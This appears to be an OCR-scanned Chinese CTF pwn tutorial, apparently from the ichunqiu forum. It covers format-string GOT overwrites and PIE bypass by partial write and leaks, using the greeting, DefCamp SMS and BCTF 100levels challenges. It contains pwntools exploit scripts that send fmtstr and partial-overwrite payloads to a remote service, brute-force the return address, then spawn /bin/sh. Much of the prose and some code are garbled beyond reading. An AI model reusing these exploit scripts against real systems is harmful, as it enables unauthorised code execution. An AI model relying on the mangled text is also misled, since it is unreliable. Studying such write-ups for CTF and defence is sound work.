RSP O0007FFEEA2F 8920 w [stack]:00807FFEEA2F 6920
RIP 00000000004005E8 w main+62
R8 000000O0OO0ORAGT o
R9 000000000000005A
R10 0000000000000078
R11 0000000000000246
R12 00000000004080498 « start
R13 00007FFEEA2FOB30 « [stack]:-00007FFEEA2FBB30
R14 0000000000000000
R15 00000000OBDO0OA0

EFL 00000207

BT R, gotRHHprintfilpltRXPHsystemtB AU EIZNFEFFIREN, FHAIstAILAER fmtstr_payload
4 fipayload T .

offset = 6

printf got 0x00601020
system plt 0x00400460

payload = fmtstr payload(offset, {printf got:system plt})
io.sendline(payload)
AR FHA 1S ZIIX Mpay load T iE & Bgot T H Mipr intfIR Ap | tAsystem

.got.plt:0000000000601017 db 8

.got.plt:0000000000601018 off_601018 dq offset _ libc_system ; DATA XREF: _systemir
.qot.plt:00000000008661020 off_601820 dq offset _I0_printf ; DATA XREF: printfir
.got.plt:0000000000601028 off_601028 dq offset _ read ; DATA XREF: _readir

.got.plt:0000000006601628 _got_plt ends



QEMIE

RMEERNTR, %MpayloadFi&H (o)

20 10 60 00 00 00 00 GO 21 10 60 00 00 00 00 00 .. ..... I
22 10 60 00 00 00 00 6O 23 10 60 00 00 00 00 00 . ..... B .....
24 10 60 00 00 00 00 G0 25 10 60 00 00 00 00 00 $. .....

26 10 60 00 00 0O 00 00 27 10 60 00 00 00 00 00 &. ..... o0 ocoooc
25 33 32 63 25 36 24 68 68 6E 25 31 36 34 63 25 %32c%65hhn%164c%
37 24 68 68 6E 25 36 30 63 25 38 24 68 68 6E 25 75hhn%60c%85hhn%
31 39 32 63 25 39 24 68 68 6E 25 31 30 24 68 68 192c%95hhn%10%hh
6E 25 31 31 24 68 68 6E 25 31 32 24 68 68 6E 25 n%115hhn%12$hhn%
31 33 24 68 68 6E OA OO0 00 00 00 00 00 00 00 00 13%hhn..........
A4 G L U ? B/ 1B — Fpr int RO

.sendline (payload)

.recv(timeout = 1)

.sendline('1"')
.recv()

(10" 1\n'
AAERIRAE R A BIpay |oad RAFIT =48 (\x20),, \x10F1" (\x60) =AM FFF. XRAFAMRE?
ﬁzﬂllﬁl%éépayload RESEZIEFE \x20\x10\x60 =M FEFHFEHEAIRZ\x00, T\x00IE2FFFRLERR
5, XA AFNE E—T5iEEFE0x08048001 M A~ 20x08048000;MiK iEE . FHF 64 A PRI REIHTE
Mol S &R TS A \x00 (64artthtib 216N 63 HIED) , FrLUER 2 Bilfli&Epay load I /A B AR AT, EEFAT
ﬁa§§ﬂ1*i——1"payload ot A Elpay | cad B &R /& o

t@58f4dbb8ble8:~# cat roc/self/maps

C248000-55e84Cc250000 Xp 00000000 Te:00 2493068
b-55e84c450000 -p 00007000 fe:00 2493068
5e84c450000-55e84c451000 -p 00008000 fe:00 2493068
5e84c73d000-55e84c75e000 -p 60OCO0G0 BO:00 ©
;fb1r9&5f000-?fblraaldnen -Xp 00000000 fe:00 2501202 / -linux-gnu/libc-
7fblcagldeee- CE c000 ---p 001lbefoo fe:00 2501202 /i -1i <-gnu/libc
2 o 0elbdeoe fe: 2581202 ib/ -1i \-qnu_.-"l.ibc
001cleee fe 2501202 ].lbf}EG 64 - x-gnu/libc-2.24.5s
00000000 ¢}
5 oeooeeee fe:00 2501184 /1ib/xB6_64-1linux-gnu/ld-2.24.
7fblcad41deoe- o W-p 0000BBO6 ¢}
7fblca448000 - 44 rwW-p 80008008 &)
= 00025000 f 2 /1ib/xB6_64-1inux-gnu/ld-2
p-7fblcad44doed rw-p 00026000 T P /1ib/x86_64-1inux-gnu/ld-2
p-7fblcad44e000 rw- IE &)
p-7ffc26984000 rw- ¢] [stack]
: p-7ffc26998000 r-- ¢] [vvar]
ch"ﬁQSBOGD-?fch’GQQaBG@ = 00800800 - &) [vdso]
BTt FHEB\x00, FrLUXEIFAGERA%hhn DR T, EH1MpaylcadtdiEan T
offset = 6
printf_got = 0x00601020

system_plt = 0x00400460

payload = “%” + str(system plt) + “c%6$!In” + p64(printf_got)
Xpay loadFBRRIFGIEMHAlR, AHMRELMNK, RMSEZBMAio. recval | (O IETMEEEFD L
TS HRR.



DEMIE

BURSET Moy rsi, rax i buf ~
BNODSER mav edi, 0 i Fd

BUORSCF oy eax, 0

BUASDN call ead

vdi, rax i Format
wax, 0

_printf REP

7FFET2560090
Short loc_kOwsoR N

FFFET2560060 «

i Attributes: bp-based fra ’\! TFOBEA32617D: got SIGSEGV signal (Segmentation violation) (exc.code b, tid 572)

Ltext DRSEF
public showle
Ltext: BUOOSEF showlersion proc mear R13 B0DOTFFET2SGRETO w
© | text:zme u-uus:r push  rbp A4 ORONBRIOORONDANN
-text: ool BBLOESFD Mo Bp, rsp RIS ORIARRIOARIOARID
[ tent: 0ROUODDIAINORSFD may vdi, offset comnan ) Dor't display this message again (for this session only) EFL anonazua
ized with RIF) d
| >
7 Hex Viev-1 B & x [§] Stack view
WARNOBIAARSEZ 7R FF FF FF 55 4B 89 ES AB §1 EC 30 01 00 00 08 2. uu u .. ~ [PO0RTFFE72564c60 [IEFRIEIRNEIEIEE
JNOUNOOUUARISYZ WO OO DD 0D EB S DU 00 60 WE 8D 95 DO FE FEFE ... BOOOTFFEFZEGNCAE  60102DGERNIBZ503

RN LHE? WRIR {?QIHEET%E’J*& 14\:JEAEEJ.}’JL!GE’]iﬂiJJ:%“LLT
¢ . &] Stack view

9000?FFE?256H068 60102B6E24362563

OOBBYFFE72564C70 BODDOADOBODDODOD

0OBOYFFE72564C78 0ODDODOOOODOODOD

00BOYFFE72564C80 0ODDODOODODODOOOOD

EHANIEFEFE—Tpay load, fEMUATEEEIEGF HIKERFER. SR, BIFFEoffsetthis
BE. AEENERAT:

offset = 8
printf_got = 0x00601020
system_plt = 0x00400460

payload = “a%” + str(system plt-1) + “c%6$!In” + p64(printf_got)
EIFEATLAT o

| 0x04 ERAIB L FHBRAREFEIRER

M EERENMIFRMNATAEL, <FUBERIFIRERNUFEFEREgetshel |, REFHMEEZE IEFF
BFERER. ﬁﬂ%*zrqﬂTﬁTTlﬁﬂﬂE’ ZAIEAR IS 5 FAROPH AR ENIF R BUR E Mkt B start, XEIFHIGEE
AN FFRRREEEX— <.

FAVTFHIF"/MMA CTF 2nd 2016—gree‘ting/_greeting

A int _ cdecl main(int argc, const char #*®argu, const char =*enup)

Function name

{
® 13 sprintf{{char =)&uS, “Hice to meet you, %s :z)\n", Gud);

1
. 2K
(7] _init_proc 3| int result; // eax@2
(7] _setbuf 4 int us; /7 edx@y
7] _printf 5| int v5; /7 [sp+1Ch] [bp-84h]@2
fgets 6| dint w63 /7 [Sp+5Ch] [bp-44h]@1
- . 7| dint vZ; /f [sp+9Ch bp-4h]@1
(7] __ stack _chk fail e Lepratn] [opmand
puts ® 9| u7 = =MK_FP({_ GS__, 20);
E_systom ® 18| printf(’ Please tell me your name... “');
_gmon_start_ @1 if ( getnline({char =)&ué, 64) )
[7] strchr 1z
_ﬂ:_lsn start . ® 14 result = printf{{const char =)&u5});
___libc ._main 15 ]
_sprintf 16| else
[7] start 17| §
__x86_get_pc_thunk_bx ] :113 , result = puts{“Don't ignore me ;{ ");
K der?glster_tm_clones ® 20| uh = =MK_FP(_BS_, 20) *~ u7
register_tm_clones ® 21| return result;
[7] __do_global_dtors_aux ® 223 |

[7] frame dummy
EIHR, XAN2MEFMgotZFT Bsystem (BXil) , MAGE—MERUEFERE. HERBEME
MiiEpay load IS B AT HE R, XNMEFEENRIMAETERNEZERpr intfRMLTRTRE, AMEIIM
REBFAUEEpr intfITRZERT B EREfigot RPHIEE, XMBRERFERIMAL RIBEIFot
FT T E N Tsystem. XEMEFREBERAVEIEILIZF T LIRR AR,

/3
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Z AT EPHATMIZEIL,

| EFRATHIEETEH

BARAERBHEHRIRIUnain R EIEARRFAD, BREFRIEFHEHEA

AHAEmaink#, MEstartXiBE. TFXL L, startKIBEITSFRA__libe_start_main3R—LeIi51k
T4k, &EBEAmainRHHEnainRBERFM— LB, HIRIEL T45http: //dbp-consulting. com/
tutorials/debugging/| inuxProgramStartup. html

REITE

loader

preinitarrayl..n _start

__libe_start_main

__libe_csu_init
_init initarrayl..n at_exitl..n finiarrayl..n destructorl..n
__gmon_start__ frame_dummy _ do_global_ctors_aux
constructorsl..n
BB, EmaindEHMATRIAM. ini tBRIRIBA. init_array MR AP E—NHEEIES. FHA, main

EHERERESHRA. fini R, fini.

_arraryERER B BB P B— PR EIES .

Choase segment to jump

Name. R W X D L Align Type Class  AD e ss ds fo as

£ .init R COD 32 FFFFFF, 000 FFF/ FFF|
R
R .
R . N .
R . public CODE 32  FFFFFF.. FFFFFE. OOOE  FFFFFF.. FFFFFF,
R . . public COMST 32  FFFFFF.. FFFFFE.. ODOE  FFFFFF.. FFFFFF,
R . . public CONST 32  FFFFFF. FFFFFE. ODOE  FFFFFF.. FFFFFF.
R . . public COMST 32 FFFFFF.. FFFFFF.. OOOE  FFFFFF.. FFFFFF,
RW. public DAIA 32  FFFFFF. FFFFFE. OOOE  FFFFFF.. FFFFFF,
RW . public DATA 32  FFFFFF.. FFFFFF.. O00E  FFFFFF.. FFFFFF.
R W . public DATA 32  FFFFFF.. FFFFFF.. O0OE  FFFFFF.. FFFFFF,
R W . public DATA 32  FFFFFF.. FFFFFF.. OODE  FFFFFF.. FFFFFF,
RW. public DATA 32  FFFFFF.. FFFFFE. OOOE  FFFFFF.. FFFFFF,
R W . public DATA 32  FFFFFF.. FFFFFE. O0OE  FFFFFF.. FFFFFF,
RowW . public  BSS 32 FFFFFF. FFFFFF.. 000  FFFFFF. FFFFFF,
? o7 public 32 FFFFFF.. FFFFFF.. FFFFFF.. FFFFFF.. FFFFFF..
Cancsl Search Help

Line 10f 16

- Fini_a?ra'y 18804003

;org 8049934h

.Fini_array:086049934 _ do_global_dtors_aux_fini_array_entry dd offset _ do_global_dtors_aux

-Fini_array:88849934
-fini_array:08049934 _fini_array
-fini_array:08849934

; DATA XREF: _ libc_csu_init+187o

ends ; Alternative name is '__init_array_end’

a
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MEATHEFRLRIE. fini_arrayBEAE—PNTTEAstart. FEFIENZE, XMHENABERXIN
start FRHITEX S#H&R, BREFUERMNESHER, FEEZE—RMEENEANbitH B S8
payload. B]FBIBIZAE)4RE T B4

0x05 —EFiE F 77 B imiE 0 X MR E S b

fEchecksecIAMIEINH, HATZBHREIE TNXHER, ATRININB—THIENFLinux pun g
147755 2B RIE E A B F B B AR K AV 4B fR AL HIRELROFNFORT IFY
:~# checksec microwave
] '/root/microwave'
Arch: amd64-64-1little
RELRO:

Stack:
NX:

PIE:
FORTIFY:

BHEBEANNEL—TRELRO, RELROREE{IFKRiE (Relocation Read Only) HIHEE . EEREIFKI1ZLEIR
B|MELF X got R AMp 1t X TFXFAENRAKIEFER, HINSENBret2di-resolve I EHIELH
NE. MERNNEAZTENENRXFENER, FNMER, BAEFMBHNRHEFTE (REERFEENXFSE
MR AT E, thiiread. ERREE KB EFABread R ENFHERH B2 E—  read HAISZIN)
NEEMMESN. BTEESNEEFIINIMETNE, HTFHREERE, —BRIREFSFERERME, B
ERER MR AU B A S —R WA (flinreadi®#l, FE—X AR AIEFE— X Tcall read) #k
B3 B ot RETM. AL, gotRUTNEAEH. (BEReotRAISHARRIUEFEBAHRERT—NE
ERENFRAR, BfEKeotE. EMRTAMXENE, HATTBRITRBESEN RN gotRI (tban
puts) AsystemiFH AL, XAE—3K, FHf1MNiTcal | putsSEFR_ EVHRAMIEIRsystem, HEH, fEARE
ML T system, WA Tsystem( “/bin/sh” ). ATLUX ARIEHIFERF1E Fcheckseci BHILERINT

:~# checksec mary morton
[*] '/root/mary morton'
Arch: amd64-64-1little
P\ELP\O» Part 1L RE PO

Stack:
NX:
PIE:

HRELROII Partial RELRO.

MFFSkAE & B /RAURELRO: Full RELROBENZIEFHEEMEMEIRIE, LiLE. ot 2. got. pItHE
EIER. BAVRBIXANERF (FE (stack canary 54T HIEBE) HESIFEH) , fEcall read L THiS, 1€
KEBE— NS Hbuf Heot RAMIE U ZR 180t R, IBFASIRE, BERBUIBRBIENK, read BHUEE T —

A1

Log in on Twitter:
username: 1
password: ne7 7h3 fl46

hecking 1
witter account

. Connect to Twitter account |
. Edit your tweet
. Grill & Tweet your

[Microwave]: 2

#> 1234
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B, &‘_—"I*E F7F/E TFull RELROIRIFZIE, BIERANFIMERAEAN, REETREEHFotRMITHER
WL .

BETREMNNTBS—ELER D WAYRIPHEFEFORTIFY, X2—/NEHGCCSEI AR LA A RIFHLH], HIngE
REAFNFZRERB LB EBAENEAXEHEFER. SR, MTXMRIPZE (EwiENNES
#-D_FORTIFY_SOURCE=2) —LLBRLK ¥ dNread, fgets, memcpy, printfEEA st SHIRREHIMAREKLS
#EHREK_ read _chk, _ fgets_chk, _ memcpy chk, _ printf chkZ. XL TchkiIRHM SR EIZE/E
FINFPKERTBEEMIRXKE, BERE - E%nz ENFREMERT N TR REHAPEXNSit
HE, B THRAUEFRPETELSE (NMEE7S) FHAREERELEI. B TFORTIFYRIFHIERF
Z%&checksec*‘“‘ﬂ:‘; o, FER LRI EEE oot RS AW chk BB TEAE

got 000056462319DF70 ; DATA XREF: __ 1libc_start_mair
® |.got:0608656462319DF78 fgets_ptr dq offset fgets ; DATA XREF: _fgetsir
® |.got:000056462319DF80 _ gmon_start__ ptr dq offset _ gmon_start__

.got:0008056462319DF80 ; DATA XREF: __ gmon_start_ ir
® |.got:000056462319DF88 malloc_ptr dq offset malloc ; DATA XREF: _malluch‘
 ([-O0T:UBUBS 64623 TIDFUE FFIUSh_ptr dq ofFset FFIUSh 7 DATA XREFT _FFIUSHhiF
'[.got:nmnsuﬂzaﬂnms __printf_chk_ptr dq offset _ printf_chk ; DATA XREF: __ printf chkir
° i A n : N L.

“ 1.got:000856462319DFN8 furite_ptr dq offset fuwrite ; DATA XREF: _fuwritefr
® |.got:000056462319DFED sleep_ptr dq offset sleep ; DATA ¥REF: _sleepir
“ |.got:000056462319DFB8 _ cxa_finalize_ptr dq offset _ cxa_ Finalize
.got:080056462319DFB8 ; DATA XREF: __ cxa_finalizeir
1
RS B REFD 2R S) PR+

o

| EFRATHIEETEH


https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=43624&ctid=157

QEME

Linux pwn Al 337 —PIESbypassiBik

f§%: Tangerine@SAINTSEC

0x00 PIEiE T

FEZ R ERHEITRETASLRIX —BAIFHAR . BT ZEIHERA | ibottbit ATHUNAIE L, ASLRH IS ITH Sk HF
BEIIZRA. EAASLRIEARMEIL, K& EROP & EIHEP SHIERT AN B SLH T eak, HETHEM
FHE, EobssEHMMIEENAFIR. MPIE (position—independent executable, HilitFXATHIT
) AR — N ITHRIBER. text, BIBEL. *data, . bssFREIEMULA—IIIPHAR. BASLR—#, KA
TPIERIEFSES X MEITERT RmE R, NMENTIEF KRG gadget L.

'/root/format x86-64"'
Arch: amd64-64-1little
RELRO: L | LF

.text:0000000000400586 ; int _ cdecl main{int argc, const c
.text:0000000000400586 public main

.text:0000000000400586 main proc near
-text:D00DODODODLDBSBG

.text:00000000004080586 buf= byte ptr -1306h
-text:DODDODODODLDBSBG

.text:0000000000400586 push rbp

.text:0000000000400587 mov rbp, rsp
.text:000000000040058A sub rsp, 138h
.text:0000000000400591 mov eax, 0

.text:00000000004005%96 call showlVersion
.text:0000000000400598

.text:0000000000460598 loc_A40059B:
.text: 00000000004 0B659B lea rdx, [rbp+buf]

RABPIERIPRVIZER, BXIMEBRIEN#REER), 640 E—A%=20x400000
-oot@58f4dbb8ble8:~# checksec 100levels
[*] '/root/1@0levels’

Arch: amd64-64-1ittle

RELRO: [ . RELRO

Stack:

NX:
PIE:

|-text:8080855D56C393F LE
.text:000055D56C393F4E push rbp
-text:000055D56C393F4F mov rbp, rsp
-text:008055D56C393F52 sub rsp, 36h
-text:000055D56C393F56 mov [rbp+var_308], @
.text:000055D56C393F5E mov [rbp+var_28], 0
-text:000055D56C393F66 mov [rbpsvar_28], @
-text:000055D56C393F6E mov [rbp+var_18], @
-text:000055D56C393F76 call _2hinitv
-text:008055D56C393F7B call _Z6bannerv
.TEXTIUUHUSSY /S5 HOHE 4E
.text:88088558755A6AF4E push rbp
.text:0000558755A6AF4F mov rbp, rsp
-text:0000558755A6AF52 sub rsp, 36h
.text:0000558755A6AF56 mov [rbp+var_38], @
.text:0000558755A6AF5E mov [rbp+var_28], B
-text:0000558755A6AF66 mou [rbp+var_20], B
.text:0000558755A6AF6E mov [rbp+var_18], @
.text:0000558755A6AF76 call _2hinite
-text:0000558755A6AF7B call _Z6bannerv

toavi - AMAACCRATECAAGFR A
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EAPIERIFRIFER, AABZIFR NSRS R —HH
B, PIERIRFALAROPEAER TRAMEM. (ERATRLRGMER, HitblmEHFAMMUFE LA
S8, HANNAE—LA Lbypass PIEMFE. TEARMNNB=MLLRERNFE.

I 0x01 partial write bypass PIE

partial write (BB B N) BiE—MFI A TPIER AREFEMbypassHiAR. BHTFREFHTTEANNE], PIEAIREM
HREXMEENHNER . BEXRRE, —MHAETRA/NAOx1000, XHERENSHINEAT, EEIESH
B126iL, 3Nl s R RIAE A TR . FEIBEBREIPHESH16M (RFTHEAN, SF18M 5
AT LUBGR IR AR B & B IR ENFFEIP.

HAFTFBIF"/DefCamp CTF Finals 2016-SMS/SMS, XR—N64fEFr, FEMINEEE Hdosms O AT &
fEimERYset_userFliset_sms

int dosms()

{
char v1; // [sp+6h] [bp-CBh]E1
int v2; /7 [sp+8Ch] [bp-34h]@1
int v3; // [sp+Bih] [bp-Ch]@1

memset{&uv2, 8, Ox28ull);

u3d = 148;

set_user{{__int64)&ui);

set_sms{{__ int64)&ui);

return puts{"SHS delivered"};
H

set_user A] LUEEN128F fFHusername, Mset_smsHxfstrnepy A AT LAE H K ERFEEa1+180, username
B fEa1+140, AT LUBE & S (& strnepy K IE R H -
int _ fastcall set user{ intés al)
{
char s[148]; 7/ [sp+10h] [bp-96h]E1
int i3 // [sp+9Ch] [bp-4h]@1

memset(s, 0, Ox80ullL);

puts{“Enter your name");

printf(”> ", OLL);

fgets(s, 128, _bss_start);

for ( 1 = B; 1 <= 48 && s[i]; ++1 )
*{ BYTE =)(a1 + i + 148) = s[i];

return printf("Hi, %s™, a1l + 140);

H

char =_ fastcall set_sms(__int6h4 al)

{
char s; // [sp+16h] [bp-486h]@1

memset{&s, 8, Bx480uLL);

puts{"”SHS our leader™);

printf ("> ", BLL);

fgets(&s, 1824, bss_start);

return strncpy({(char =*)ail, &s, *(_DWORD =){a1 + 188));

FRILZSN, BBFEB—NEITEH frontdoor
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int frontdoor()

{
char s; // [sp+8h] [bp-88h]E1

fgets(&s, 128, _bss_start);
return system(&s);

}

XNMEFFEATPIE{EARIP, BR{IITFEEFHEfrontdoor (Y EAIbliE, F itk %k B BRI & Sk Pkt 2
frontdoor () » {BERETIHRAAIEMARERE, FHATTAZIRIEK .
BT EF frontdoor HL RIS FH AT FEE Mtk /§ = 20x900

.text:08000557399217900 frontdoor proc near

.text:0000557399217900

.text:0000557399217960 s = byte ptr -86h
.text:0000557399217908

.text:08000557399217961 mov rbp, rsp
.text:0000557399217904 add rsp, OFFFFFFFFFFFFFF8Bh
.text:0000557399217908 mov rdx, cs:__bss_start ; stream
.text:080808557399217906F lea rax, [rbp+s]
Ltext:-0000557399217913 mov esi, 86h H )|
.text:0000557399217918 mov rdi, rax HI
.text:000055739921791B call _Fgets
.text:0000557399217920 lea rax, [rbp+s]
text:-00608557399217924 mov rdi, rax ; command
.text:0000557399217927 call _system
.text:000055739921792C nop

.text:000055739921792D leave

.text:000055739921792E retn

.text:0000855739921792E frontdoor endp

text:000055739921792E

{BE2AT#H{I8pay load b AIFFTIEN, BNEDBEENTNHEFIE, FURMNATEMABENES. BE
B AEI0x900 L FEB— N+ B . XM AT OxFZ B3, FELRETEIARK, TJUIES,
ERE/LBXENIGZE, BNBEESEITEIRIKEETEFEHpaddingH B S Hipay load2l TR :

payload = 'a'*40 #padding

payload += '\xca' HEKACE 79202, HlpayloadfIHKE, X4
SHSEE B strncpy #{EH

io. sendl ine (pay | oad)

io. recv ()

payload = "a'*200 #padding

payload += '\x01\xa9' #frontdoor BYHBIEfE =1 20x900, +1HkiTpush
rbp

io. sendl ine (pay | oad)

HMBRFREANAR0x900M 20901, XE2EAELFRFR P LIMBEEE] frontdoor IS HifE. ATH
JiEpay loadBYIEFEME, FRATAT AR IEIRATiEIT I DAME R A TRt b 18 IF IR AR ROME, ItEAL ARG,
gi]ﬁg%payloadE’JIEﬁ%’l*iZE, HAE L AE E— IR, APE A B eI TIRGE . Hi1E—MER
‘—n%
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=>> from pwn import *
io remote("172.17.8.3", 160001)
HpF“lHﬂ connection to 172.17.8.3 on port 10861
connection to 172.17.8.3 on port
connection to 172.17.0.3 on port

4 1< B 5 20

come to Defcamp SMS

, fpayloadfi K E , T EMSEREMstrncpy E A

service

aaaaaaaaaaaa\xcaSMs our leader\n> '

#padding

#frontdoorftth 4t 5 =

-packages/pwnlib/t
tlmeoutl o)t

/python2.7/dist-packages/pwnlib/tubes/tube.

if ru:n‘r fr-_-lf buffer and not self. fillbuffer(timeout):

usr/local/lib/python2.7/dist- packaqas;’pwnllh}tuhes tube.

raise EOFEerr
EOFError

e 126

{ir & ox900, +1#kit push rbp

e 78, in recy

156, in _recv

in _fillbuffer

e 54, in recv raw

AV E BRI IEF S AR, AT ioMEES XA, FitkiAR io. recv ) £fli& —/NEOFError.
XA, BATATLUERpythonBtry. . . except. . . REFIRIXMERFFHITAIE.

RAHANT:
#!/usr/bin/python
#coding:utf-8

from pwn import *

context. update (arch = 'amd64', os = 'linux")
i =0
while True:

i +=1

print i

io = remote("172.17.0.3", 10001)

io. recv()

payload = '"a'*40
payload += "\xca'
B, XNMSHESEERNstrnepy#{EH
io. sendl ine (payload)
io. recv()
payload = 'a'*200
payload += '"\x01\xa9%"'
Hkidpush rbp
io. sendl ine (payload)
io. recv()
try:
io. recv (timeout = 1)
XA, io.recv() &fl&EOFError
except EOFError:
io.close ()
continue
else:
sleep(0.1)

#padding
HEBLICE #9202, Bllpayloadiiic

#padding
#frontdoor Bt f§ = L 20x900, +1

HELAFRBELABHRARY), BERRios
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io.sendline('/bin/sh\x00")

sleep (0. 1)

io. interactive () #% BEOFEr ror HIIE T 2 IRAR AKX
If1, AILAFFshel |

break

I 0x02 jtiggitbitbypass PIE

PIERZND R R EIEF Mk ELL, HASFieSEIRERTHil, FEFHAINREEME HIZFD | ibchy L
b, BHNEATAFI BRI RIZEIB 8.

$TFF51F"/BCTF 2017-1001evels/100levels, XZMNOAMIHZRRIZR, ERMABINHE, HEMERI%F
BY, RETERE. KBROMHELRRGT0xe438question §SIEF'

1jsigned __intés _ Fastcall questions(signed int al)
24

signed intéh result; J/ rax@2
int v2; J/ eax@5

__int6s v3; /J rax@s

intéh buf; /7 [sp+10h] [bp-30h]&@1
__intén uS; 7/ [sp+18h] [bp-28n]@1
__int6n v6; 7/ [sp+20n] [bp-28h]E1
__intés u7; // [sp+28h] [bp-18h]&1
int v8; // [sp+3&h] [bp-Ch])Es

int v9; /7 [sp+38h] [bp-Bh]ES

int v18; 7/ [sp+3Ch] [bp-uh]aS

buf = OLL;
vS = OLL;
vh = BLL;
w7 = BLL:
iF ( a1)

if ( questions((unsigned int)(atl = 1)) == 0 )
{
result = GLL;
)
else

vil = rand() % a1;
u2 = rand();
U9 = 2z 3 al;
uB = v2 % a1 = v10; |
T s S S S S S S SN WSO E B  H
printf("Level %d\n", (unsigned int)a1);
printf("Question: d = Td = 7 Answer:", (unsigned int)v18, (unsigned int)u9);
read(0, Ebuf, Ox&00ull);
vd = strtol((const char =)&buf, SLL, 10);
result = v3 == y§;
H
}
else

result = 1LL;
)
return result;

CEYT R AR L F ALY LA AT L.F A L ET R AL LN L EY LN R AN X

aly

read S IEANOx400 N FEFFRF L, MMM EITEbuf BAREIBA K, EkEEm&%iaEY. AT ERT
PIE, MEME R RAEsystemBREBREIT, FRLAREEIEFERpartial writeHHRIP. BEFHKAFEDH
TR EZI TR LB — L HBAHKE:

| EFRATHIEETEH
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| BXBTIFET A

[B] Stack view O & x
:-BBBBTFFE¥9338538 60007FB2BD1BCB18 1libc 2_24 _so0:00007FB2BD1BCB1E A

00007FFE49438038 00007FB2BD79F4CH debuqOB3:00007FB2BD79F4CEA

0B007FFE49438040 OO0000BOFFFFFFFF

00007FFE49438048 0000556AL44243058 .got.plt:off_556A44243058

00007FFE494380650 ©O0007FB2BD1BB358 1libc 2.24.s50:060007FB2BD1BB358

B0007FFEL9438058 @A0O7FB2BD22F8E7 1libc_2.24.so:_I0_file_write+37

O0007FFEL49438060 00007FB2BD577608 1libc 2.24.so0:_I0_2 1_stdout_

000O7FFE4O438068 0000000000000D68

0B0O7FFE4O438070 00000A00000A0081

80007FFE49438078 00007FB2BD577683 1libc 2.24.so0:_I0_2_ 1_stdout_+83

G0007FFEL4O438080 ©0087FB2BD5728CA 1libc_2.24.s50:00067FB2BD5728CH

0B0A7FFE4O438088 0O000A0OBD231432

OOOB7FFE49438090 OO0p0O000O0O0000

0O0O7FFE49438098 0O00000006000608

0B0O7FFE4O4380A0 0OO0ODO0O0O000000G

000B7FFE494380A8 OOOPOODODGOOOODA

60807FFE494380B8 B@B87FB2BD573488 libc 2.24.s0: I0_file_ jumps

00007FFE494380B8 0O00000000000008

00007FFE494380CO OOOO7FFE49438118 [stack]:B0007FFE49438110

AoOO7FFFuok290nn AOOAOAAAOAOAAAOO

FMTUER EBAEHE | ibchyHit.
?]B(L\c%%i&iipﬁ@]gﬁﬁ leakHi3kME, FH{1EEFquestionsIXPNiRE, BRI T — N EBHNER

nov
nov
lea
nov

eax,
esi, eax
rdi, alLevelD
eax, 0

call _printf

[rbp+uar_34]

; "Level %din”

mov edx, [rbp+var_8]
XiBEprint B RNSRA T E, BidrbpENL.
FIRXAMER, BIVRESBRTT LR partial overwritefEIRBPAIETEEIXRATE, Mt FE L ix Lk
ik, FIAXLEHIERN | ibeFL AT LA E Rlone gadget RCERMbIE M mAkis iR . F{i11E B LA T BIZ<$ERBP
BB BRI B 0x5¢, AT [rbp+var_34] = 0x5c-0x34=0x28, EEAIT XML B HoHbiL.
io = remote('172.17.0.3', 10001)
io. recvuntil ("Choice:")
io.send("1")
io. recvuntil ("?")
io.send ('2")
io. recvuntil ("?")
io.send ('0")

io. recvuntil ("Question: ")
question = io. recvuntil ("=") [:-1]
answer = str (eval (question))
payload = answer. | just (0x30,
io. send (pay | oad)

io. recvuntil ("Level ")
addr_18 = int(io. recvuntil ("Question: ") [:=-10])

B 2RI TER, FANKIUX AR RINERR, BRHEEE
BIHMER startFY & otk

"\x00') + "\x5¢'

F i iberhayithit
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U P N3l YUUWITTUID

nov eax, [rbpruar_3k] RDI 8888000000
nov o0 bl REP 0B6OO7FFD78
lea rdi, aleve[ybp+var_34]=[[stack]:08087FFD78F53328]
oy eax, 8 db  BBh RSP 6007FFD78
call rintf dgn o RIP 868055946E
nov edx, [rbpidb 8D3h ; RS BO807F4C73
nov eax, [rbpidb 72h ; r RO 0EBOBODOBE
nou esi, eax db 4Ch ; L
= R 7th - & —_— R10 6608600060
s R R11 6608060060
call  printf d» @ R12 068055946
lea.  rax, [Fbpidb 3uh ; & R13 DEOO7FFD78
nou e"z- 400h db 0 R14 00000000680
nov rsi, rax Tour
hou edi’ B  fd R15 6600000060
fat1 vaad EFL 086810206
A fSsmchrand zad wai+h BTDL

¥ (Synchronized with EKLF) ”

[ x‘Stad{ view

e H ~ |[00087FFD78F53310 000B7F4C73072460 libc_2.2h . so:_I0_file_jumps
| P H. 0BOD7FFD78F53318 auuasssaouusssau
[ AAAR
........ i pope7 _..fDall'}ﬂB libc_2.24.s0: 10 _file_overflow+EB
REC I NE ..
Sp— ] P 00007F4C73076600 libc 2.24.s0:_I0 2 1_stdout_
...... el 000055946EF41058 .rodata:s
...... Euocs 000O7F4C72D28AD2 1ibc_2.24.s0:puts+1B2
......... t 597B423833F1BDF8
BRHERstartiyE e
lea rdi, s ; Vsss=s============s===s==s=s=s===========""__,
call _puts
mov eax, [rbp+var_ 34]
mov esi, eax
lea rdi, alLeve[rbp+var_34]=[[stack]:880887FFCC1EF7328]
mov eax, B db 6DBh ;
call _printf db 6%9h ; 1
db 8 A |
mou eax, [rbp+db 1Fh
mou esi, eax db 8u4h ;
lea rdi, aQuesdb 55h ; U per o
mov eax, @ db i)
call _printf db i}
lea rax, [rbp+db 6D6h ;
mov edx, 466h db 75h ; u
mov rsi, rax TDUF

IF (Synchronized with RIP)

0O & x ‘ O] Stack view

[ | [ H A ||000B7FFCCAEF7310 UL LTS ISIs IS Ee s 1S

] | P H. 00087FFCCI1EF7318 0000000000000000

Heaoe H.o 00007FFCCAEF7320 0O0OOYFFCCAEF735C [stack]:00807FFCCAEF735C
Hloooomaac 1- 000B7FFCCAEF7328 0DOOOS5841FB869DO start

..@.}.H.E.. 00087FFCC1EF7330 OO007FFCCAEF?5D8 [stack]:008087FFCCAEF75D0

AR ETE XK
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call _puts
mov eax, [rbpruar_34]
mov esi, eax
lea rdi, aleve [rbp+var_34]=[[stack]:00007FFDDG7BOE28]
moy eax, 0 db e
call _printf db 16h
db 1ER |
mov eax, [rbp+~db 87h ;
mov esi, eax db 2
lea rdi, aQuesidb a er:"
mov eax, B db a
call _printf db e
lea rax, [rbp+ldb o
mou edx, 406h db 4]
moy rsi, rax ; bBuF
mov edi, @ ; fd
call read
mnn erdy  A0h = hace

: questions+9F (Synchronized with RIP)

0O & x |@ Stack view

60 48 BB .......H....-.H. A
FF 48 8B ...... [neaacan H. 00007FFDD67B9E28
48 89 C7 ... -H....... H.. 00007FFDD67BYE30 0600000000000000
